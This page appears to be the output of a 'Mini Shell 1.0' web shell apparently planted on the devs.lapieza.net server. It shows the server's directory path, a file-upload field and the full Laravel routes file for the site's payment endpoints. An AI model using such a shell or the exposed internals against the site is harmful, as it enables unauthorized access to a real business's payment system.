HOME


Mini Shell 1.0
Negocios La Pieza.DO | Registrate o Inicia Sesión

Inicie Sesión en su Cuenta de Negocios

Olvidó Contraseña?
DIR: /var/www/devs.lapieza.net/routes/api/payment_methods/
Upload File :
Current File : /var/www/devs.lapieza.net/routes/api/payment_methods/routes.php
<?php

use App\Http\Controllers\Api\V2\PaymentController;
use Illuminate\Support\Facades\Route;
use App\Http\Controllers\Api\V2\WalletController;
use App\Http\Controllers\Api\V2\PaymentTypesController;
use App\Http\Controllers\Api\V2\PagoAzulController;

Route::middleware(['app_user_unbanned', 'auth:sanctum', 'app_language'])->prefix('v2')->group(function (){

    Route::prefix('payments/pay')->middleware('hasItemsInCart')->group(function (){
        Route::post('wallet', [ WalletController::class,  'processPayment' ]);
        Route::post('cod',    [ PaymentController::class, 'cashOnDelivery' ]);
        Route::post('manual', [ PaymentController::class, 'manualPayment'  ]);
        Route::post('wire-transfer', [ PaymentController::class, 'wireTransfer' ]);
    });
    Route::get('payment-types', [ PaymentTypesController::class, 'getList']);
});

Route::get('v2/payments/pay/azul', [PagoAzulController::class, 'pay']);
Route::get('v2/payments/pay/azul/denied', [PagoAzulController::class, 'denied']);
Route::get('v2/payments/pay/azul/aproved', [PagoAzulController::class, 'aproved']);
Route::get('v2/payments/pay/azul/canceled', [PagoAzulController::class, 'canceled']);